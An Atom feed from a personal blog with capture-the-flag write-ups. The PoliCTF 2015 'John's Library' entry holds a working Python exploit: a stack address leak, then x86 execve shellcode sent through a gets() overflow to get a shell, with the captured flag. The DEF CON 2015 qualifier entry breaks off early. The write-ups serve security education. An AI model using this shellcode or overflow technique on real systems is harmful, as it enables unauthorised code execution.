<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

  <title><![CDATA[morganz's blog]]></title>
  <link href="http://blog.morganz.me/atom.xml" rel="self"/>
  <link href="http://blog.morganz.me/"/>
  <updated>2016-12-16T11:46:42-06:00</updated>
  <id>http://blog.morganz.me/</id>
  <author>
    <name><![CDATA[morganz]]></name>
    
  </author>
  <generator uri="http://octopress.org/">Octopress</generator>

  
  <entry>
    <title type="html"><![CDATA[PoliCTF 2015 Pwnable150 John's Library Writeup]]></title>
    <link href="http://blog.morganz.me/blog/2015/07/14/polictf-2015-pwnable150-johns-library-writeup/"/>
    <updated>2015-07-14T18:59:02-05:00</updated>
    <id>http://blog.morganz.me/blog/2015/07/14/polictf-2015-pwnable150-johns-library-writeup</id>
    <content type="html"><![CDATA[<p>The server (<a href="https://github.com/ctfs/write-ups-2015/tree/master/polictf-2015/pwnable/johns-library">download</a>) is a 32-bit non-stripped binary. When we connect to the server, we got three options:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>Welcome to the jungle library mate! Try to escape!!
</span><span class='line'> 
</span><span class='line'> r - read from library
</span><span class='line'> a - add element
</span><span class='line'> u - exit</span></code></pre></td></tr></table></div></figure>


<p>Let&rsquo;s see what the first two options do:</p>

<!-- more -->




<figure class='code'><figcaption><span>read_from_library</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="kt">int</span> <span class="nf">read_from_library</span><span class="p">(</span><span class="kt">int</span> <span class="n">arg_0</span><span class="p">)</span>
</span><span class='line'><span class="p">{</span>
</span><span class='line'>  <span class="kt">int</span> <span class="n">v2</span><span class="p">;</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">printf</span><span class="p">(</span><span class="s">&quot;Insert the index of the book you want to read: &quot;</span><span class="p">);</span>
</span><span class='line'>  <span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
</span><span class='line'>  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">&quot;%d&quot;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v2</span><span class="p">);</span>
</span><span class='line'>  <span class="n">getchar</span><span class="p">();</span>
</span><span class='line'>  <span class="n">printf</span><span class="p">(</span><span class="s">&quot;%s&quot;</span><span class="p">,</span> <span class="n">len</span><span class="p">[</span><span class="n">v2</span><span class="p">]</span> <span class="o">+</span> <span class="n">arg_0</span><span class="p">);</span>
</span><span class='line'>  <span class="k">return</span> <span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>




<figure class='code'><figcaption><span>add_element</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="kt">int</span> <span class="nf">add_element_to_library</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">)</span>
</span><span class='line'><span class="p">{</span>
</span><span class='line'>  <span class="kt">int</span> <span class="n">result</span><span class="p">;</span>
</span><span class='line'>  <span class="kt">int</span> <span class="n">v2</span><span class="p">;</span>
</span><span class='line'>
</span><span class='line'>  <span class="n">puts</span><span class="p">(</span><span class="s">&quot;Hey mate! Insert how long is the book title: &quot;</span><span class="p">);</span>
</span><span class='line'>  <span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
</span><span class='line'>  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">&quot;%d&quot;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v2</span><span class="p">);</span>
</span><span class='line'>  <span class="n">getchar</span><span class="p">();</span>
</span><span class='line'>  <span class="k">if</span> <span class="p">(</span> <span class="n">len</span><span class="p">[</span><span class="n">num</span><span class="p">]</span> <span class="o">+</span> <span class="n">v2</span> <span class="o">&gt;</span> <span class="mi">1024</span> <span class="p">)</span>
</span><span class='line'>  <span class="p">{</span>
</span><span class='line'>    <span class="n">puts</span><span class="p">(</span><span class="s">&quot;Hey you! what are you trying to do??&quot;</span><span class="p">);</span>
</span><span class='line'>    <span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
</span><span class='line'>    <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span><span class='line'>  <span class="p">}</span>
</span><span class='line'>  <span class="o">++</span><span class="n">num</span><span class="p">;</span>
</span><span class='line'>  <span class="n">gets</span><span class="p">((</span><span class="n">len</span><span class="p">[</span><span class="n">num</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="n">a1</span><span class="p">));</span>
</span><span class='line'>  <span class="n">result</span> <span class="o">=</span> <span class="n">num</span><span class="p">;</span>
</span><span class='line'>  <span class="n">len</span><span class="p">[</span><span class="n">num</span><span class="p">]</span> <span class="o">=</span> <span class="n">len</span><span class="p">[</span><span class="n">num</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">+</span> <span class="n">v2</span><span class="p">;</span>
</span><span class='line'>  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p>Inside add_element_to_library(), we can see that there is a call to gets(), which is a dangerous function. The variable &lsquo;a1&rsquo; is the address of a buffer, which is defined in main(), so naturally we can think of buffer overflow attack. Let&rsquo;s examine the binary more closely inside gdb:</p>

<figure class='code'><figcaption><span>add_element</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="n">gdb</span><span class="o">-</span><span class="n">peda</span><span class="err">$</span> <span class="n">checksec</span>
</span><span class='line'><span class="nl">CANARY</span>    <span class="p">:</span> <span class="n">disabled</span>
</span><span class='line'><span class="nl">FORTIFY</span>   <span class="p">:</span> <span class="n">disabled</span>
</span><span class='line'><span class="nl">NX</span>        <span class="p">:</span> <span class="n">disabled</span>
</span><span class='line'><span class="nl">PIE</span>       <span class="p">:</span> <span class="n">disabled</span>
</span><span class='line'><span class="nl">RELRO</span>     <span class="p">:</span> <span class="n">Partial</span>
</span><span class='line'><span class="n">gdb</span><span class="o">-</span><span class="n">peda</span><span class="err">$</span>
</span></code></pre></td></tr></table></div></figure>


<p>The NX is disabled, so the exploitation becomes straightforward: fill in the buffer (&lsquo;a1&rsquo;) with shellcode, then replace the return address of main() (since the buffer is defined in main()) with the address of the shellcode. After that, we just need to select &ldquo;u - exit&rdquo; to return from main(). Then our shellcode gets executed.</p>

<p>Now the only problem is: how to get the address of the buffer/shellcode.</p>

<p>Inside read_from_library(), there is a call to printf():</p>

<figure class='code'><figcaption><span>snippet from read_from_library</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="n">printf</span><span class="p">(</span><span class="s">&quot;%s&quot;</span><span class="p">,</span> <span class="n">len</span><span class="p">[</span><span class="n">v2</span><span class="p">]</span> <span class="o">+</span> <span class="n">arg_0</span><span class="p">);</span>
</span></code></pre></td></tr></table></div></figure>


<p>The variable arg_0 is also the address of the buffer defined in main(), and &lsquo;len&rsquo; is a global array of integers. Here we are able to print the content located at the address of the buffer (&lsquo;arg_0&rsquo;) plus an offset (&lsquo;len[v2]&rsquo;). Meanwhile, the offset (&lsquo;len[v2]&rsquo;) can be controlled inside add_element_to_library():</p>

<figure class='code'><figcaption><span>snippet from add_element_to_library</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">&quot;%d&quot;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v2</span><span class="p">);</span>
</span><span class='line'><span class="p">...</span>
</span><span class='line'><span class="o">++</span><span class="n">num</span><span class="p">;</span>
</span><span class='line'><span class="p">...</span>
</span><span class='line'><span class="n">len</span><span class="p">[</span><span class="n">num</span><span class="p">]</span> <span class="o">=</span> <span class="n">len</span><span class="p">[</span><span class="n">num</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">+</span> <span class="n">v2</span><span class="p">;</span>
</span></code></pre></td></tr></table></div></figure>


<p>This shows that the current offset is determined in the previous call to add_element_to_library().</p>

<p>With all of those info, we can perform the following steps:</p>

<ul>
<li>select &ldquo;a - add element&rdquo; to set the offset properly</li>
<li>select &ldquo;r - read from library&rdquo; to leak the address based on the offset set before and get the address of the buffer</li>
<li>select &ldquo;a - add element&rdquo; again to set the offset properly (here I choose to reset the offset to 0 )</li>
<li>select &ldquo;a - add element&rdquo; to send the shellcode concatenated with repeated addresses of the buffer (we need to make this long enough to overwrite the return address of main())</li>
<li>select &ldquo;u - exit&rdquo; to return from main() so that our shellcode gets executed</li>
</ul>


<p>In order to leak the desired address info,  we need to set the offset correctly in the first step. The call stack will look like this when the function gets() is called:</p>

<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>+--------------------+
</span><span class='line'>|         ...        | (higher addresses)
</span><span class='line'>+--------------------+
</span><span class='line'>
</span><span class='line'>+--------------------+ &lt;-- start of stack frame of main()
</span><span class='line'>|   return address   | &lt;-- address we want to overwrite
</span><span class='line'>+--------------------+
</span><span class='line'>|   previous ebp     |
</span><span class='line'>+--------------------+
</span><span class='line'>|    the buffer      |
</span><span class='line'>+--------------------+
</span><span class='line'>|       ...          |
</span><span class='line'>+--------------------+
</span><span class='line'>|    the buffer      |
</span><span class='line'>+--------------------+ &lt;-- the address of the buffer
</span><span class='line'>
</span><span class='line'>+--------------------+ &lt;-- start of stack frame of add_element_to_library()
</span><span class='line'>| addr of the buffer | &lt;-- parameter of add_element_to_library()
</span><span class='line'>+--------------------+
</span><span class='line'>|   return address   | &lt;-- the address of the instruction after calling add_element_to_library() in main() (0x08048622)
</span><span class='line'>+--------------------+
</span><span class='line'>|   ebp of main()    |
</span><span class='line'>+--------------------+
</span><span class='line'>|       ...          |
</span><span class='line'>+--------------------+
</span><span class='line'>|(frame of gets()..) |
</span><span class='line'>+--------------------+</span></code></pre></td></tr></table></div></figure>


<p>Since the stack grows from higher addresses to lower addresses, the offset we need is a negative number, and it can be found easily using gdb. (I leaked ebp of main() to calculate the address of the buffer, but obviously I can use the address of the buffer directly..)</p>

<p>Here are the code the and the result:</p>

<figure class='code'><figcaption><span> (johns-library.py)</span> <a href='http://blog.morganz.me/downloads/code/poli2015/johns-library.py'>download</a></figcaption>
<div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
<span class='line-number'>35</span>
<span class='line-number'>36</span>
<span class='line-number'>37</span>
<span class='line-number'>38</span>
<span class='line-number'>39</span>
<span class='line-number'>40</span>
<span class='line-number'>41</span>
<span class='line-number'>42</span>
<span class='line-number'>43</span>
<span class='line-number'>44</span>
<span class='line-number'>45</span>
<span class='line-number'>46</span>
<span class='line-number'>47</span>
<span class='line-number'>48</span>
<span class='line-number'>49</span>
<span class='line-number'>50</span>
<span class='line-number'>51</span>
<span class='line-number'>52</span>
<span class='line-number'>53</span>
<span class='line-number'>54</span>
<span class='line-number'>55</span>
</pre></td><td class='code'><pre><code class='py'><span class='line'><span class="kn">import</span> <span class="nn">zio</span>
</span><span class='line'><span class="kn">import</span> <span class="nn">struct</span>
</span><span class='line'><span class="kn">import</span> <span class="nn">time</span>
</span><span class='line'>
</span><span class='line'><span class="c">#T = (&quot;127.0.0.1&quot;,4444)</span>
</span><span class='line'><span class="n">T</span> <span class="o">=</span> <span class="p">(</span><span class="s">&quot;library.polictf.it&quot;</span><span class="p">,</span><span class="mi">80</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span> <span class="o">=</span> <span class="n">zio</span><span class="o">.</span><span class="n">zio</span><span class="p">(</span><span class="n">T</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="n">off_addr_ebp</span> <span class="o">=</span> <span class="o">-</span><span class="mi">35</span>
</span><span class='line'>
</span><span class='line'><span class="c">#set offset</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&quot;exit&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">&quot;a</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&quot;title:&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">off_addr_ebp</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">payload</span> <span class="o">=</span> <span class="s">&quot;AAAA&quot;</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="c">#get addr</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&quot;exit&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">&quot;r</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&quot;read:&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">&quot;1</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="c">#read 1 byte here</span>
</span><span class='line'><span class="n">res</span> <span class="o">=</span> <span class="n">io</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
</span><span class='line'><span class="n">addr_ebp</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">unpack</span><span class="p">(</span><span class="s">&quot;&lt;I&quot;</span><span class="p">,</span><span class="n">res</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
</span><span class='line'><span class="k">print</span> <span class="s">&quot;</span><span class="se">\n</span><span class="s">ebp:&quot;</span><span class="p">,</span><span class="nb">hex</span><span class="p">(</span><span class="n">addr_ebp</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="c">#addr of buffer</span>
</span><span class='line'><span class="n">addr_buf</span> <span class="o">=</span> <span class="n">addr_ebp</span> <span class="o">-</span> <span class="mi">1037</span>
</span><span class='line'><span class="k">print</span> <span class="s">&#39;addr buf:&#39;</span><span class="p">,</span><span class="nb">hex</span><span class="p">(</span><span class="n">addr_buf</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="c">#restore num</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&quot;exit&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">&quot;a</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&quot;title:&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="o">-</span><span class="n">off_addr_ebp</span><span class="o">-</span><span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">payload</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;I&quot;</span><span class="p">,</span><span class="n">addr_ebp</span><span class="p">)</span>
</span><span class='line'><span class="n">payload</span> <span class="o">+=</span> <span class="s">&quot;</span><span class="se">\x01\x86\x04\x08</span><span class="s">&quot;</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span>
</span><span class='line'>
</span><span class='line'><span class="c">#send shellcode</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&quot;exit&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">&quot;a</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&quot;title:&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">&quot;2</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">payload</span> <span class="o">=</span> <span class="s">&quot;</span><span class="se">\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69</span><span class="s">&quot;</span> <span class="o">+</span> \
</span><span class='line'>        <span class="s">&quot;</span><span class="se">\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80</span><span class="s">&quot;</span>
</span><span class='line'><span class="n">payload</span> <span class="o">=</span> <span class="s">&quot;</span><span class="se">\x90</span><span class="s">&quot;</span> <span class="o">*</span> <span class="mi">3</span> <span class="o">+</span> <span class="n">payload</span>
</span><span class='line'>
</span><span class='line'><span class="c">#print len(payload),&quot;bytes&quot;</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">payload</span><span class="o">+</span><span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s">&quot;&lt;I&quot;</span><span class="p">,</span><span class="n">addr_buf</span><span class="p">)</span><span class="o">*</span><span class="mi">320</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">read_until</span><span class="p">(</span><span class="s">&quot;exit&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">&quot;u</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span>
</span><span class='line'><span class="n">io</span><span class="o">.</span><span class="n">interact</span><span class="p">()</span>
</span></code></pre></td></tr></table></div></figure>




<figure class='code'><figcaption><span></span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
<span class='line-number'>33</span>
<span class='line-number'>34</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>alpha@alpha-th:~$ python johns-library.py
</span><span class='line'>...
</span><span class='line'>ebp: 0xff81fd98
</span><span class='line'>addr buf: 0xff81f98b
</span><span class='line'> 
</span><span class='line'> r - read from library
</span><span class='line'> a - add element
</span><span class='line'> u - exit
</span><span class='line'>a
</span><span class='line'>Hey mate! Insert how long is the book title: 
</span><span class='line'>33
</span><span class='line'>�����
</span><span class='line'> 
</span><span class='line'> r - read from library
</span><span class='line'> a - add element
</span><span class='line'> u - exit
</span><span class='line'>a
</span><span class='line'> 
</span><span class='line'> r - read from library
</span><span class='line'> a - add element
</span><span class='line'> u - exit
</span><span class='line'>Hey mate! Insert how long is the book title: 
</span><span class='line'>2
</span><span class='line'>���1�Ph//shh/bin��PS���
</span><span class='line'>                       ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
</span><span class='line'> 
</span><span class='line'> r - read from library
</span><span class='line'> a - add element
</span><span class='line'> u - exit
</span><span class='line'>u
</span><span class='line'>id
</span><span class='line'>uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)
</span><span class='line'>cat /home/ctf/flag
</span><span class='line'>flag{John_should_read_a_real_book_on_s3cur3_pr0gr4mm1ng}</span></code></pre></td></tr></table></div></figure>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[DEF CON CTF Qualifier 2015 Wibbly Wobbly Timey Wimey Writeup]]></title>
    <link href="http://blog.morganz.me/blog/2015/05/23/def-con-ctf-qualifier-2015-wibbly-wobbly-timey-wimey-writeup/"/>
    <updated>2015-05-23T02:56:33-05:00</updated>
    <id>http://blog.morganz.me/blog/2015/05/23/def-con-ctf-qualifier-2015-wibbly-wobbly-timey-wimey-writeup</id>
    <content type="html"><![CDATA[<p>This is my second time participating in DC qualifier, and it is really a fun experience.</p>

<p>This challenge (<a href="https://github.com/ctfs/write-ups-2015/tree/master/defcon-qualifier-ctf-2015/pwnable/wibbly-wobbly-timey-wimey">download</a>) involves multiple steps. When we connect to the server, we need to play a game first.</p>

<!-- more -->


<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>alpha@alpha-th:~$ nc wwtw_c3722e23150e1d5abbc1c248d99d718d.quals.shallweplayaga.me 2606
</span><span class='line'>You(^V&lt;&gt;) must find your way to the TARDIS(T) by avoiding the angels(A).
</span><span class='line'>Go through the exits(E) to get to the next room and continue your search.
</span><span class='line'>But, most importantly, don't blink!
</span><span class='line'>   012345678901234567890
</span><span class='line'>00                    E
</span><span class='line'>01                     
</span><span class='line'>02  A                  
</span><span class='line'>03               A     
</span><span class='line'>04 A                   
</span><span class='line'>05                     
</span><span class='line'>06               A     
</span><span class='line'>07                A    
</span><span class='line'>08                     
</span><span class='line'>09        V       A    
</span><span class='line'>10                  A  
</span><span class='line'>11                A    
</span><span class='line'>12              A      
</span><span class='line'>13                     
</span><span class='line'>14       A      A      
</span><span class='line'>15                     
</span><span class='line'>16                     
</span><span class='line'>17                     
</span><span class='line'>18                     
</span><span class='line'>19                     
</span><span class='line'>Your move (w,a,s,d,q):</span></code></pre></td></tr></table></div></figure>


<p>If we win the game five times, then we are asked to input a &ldquo;TARDIS KEY&rdquo;. If the input is correct, then &ldquo;Welcome to the TARDIS!&rdquo; is displayed and we can choose from two options.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>TARDIS KEY: 
</span><span class='line'>Welcome to the TARDIS!
</span><span class='line'>Your options are: 
</span><span class='line'>1. Turn on the console
</span><span class='line'>2. Leave the TARDIS
</span><span class='line'>Selection:</span></code></pre></td></tr></table></div></figure>


<p>This is where we start looking for vulnerabilities.</p>

<p>In IDA, if we look at the routine sub_E3E, we can see that there is another option (&ldquo;Dematerialize&rdquo;) besides the two above.</p>

<figure class='code'><figcaption><span>routine sub_E3E</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
</pre></td><td class='code'><pre><code class='c'><span class='line'><span class="kt">int</span> <span class="nf">sub_E3E</span><span class="p">()</span>
</span><span class='line'><span class="p">{</span>
</span><span class='line'>  <span class="n">puts</span><span class="p">(</span><span class="s">&quot;Your options are: &quot;</span><span class="p">);</span>
</span><span class='line'>  <span class="n">puts</span><span class="p">(</span><span class="s">&quot;1. Turn on the console&quot;</span><span class="p">);</span>
</span><span class='line'>  <span class="n">puts</span><span class="p">(</span><span class="s">&quot;2. Leave the TARDIS&quot;</span><span class="p">);</span>
</span><span class='line'>  <span class="k">if</span> <span class="p">(</span> <span class="n">unk_50AC</span> <span class="p">)</span>
</span><span class='line'>    <span class="n">puts</span><span class="p">(</span><span class="s">&quot;3. Dematerialize&quot;</span><span class="p">);</span>
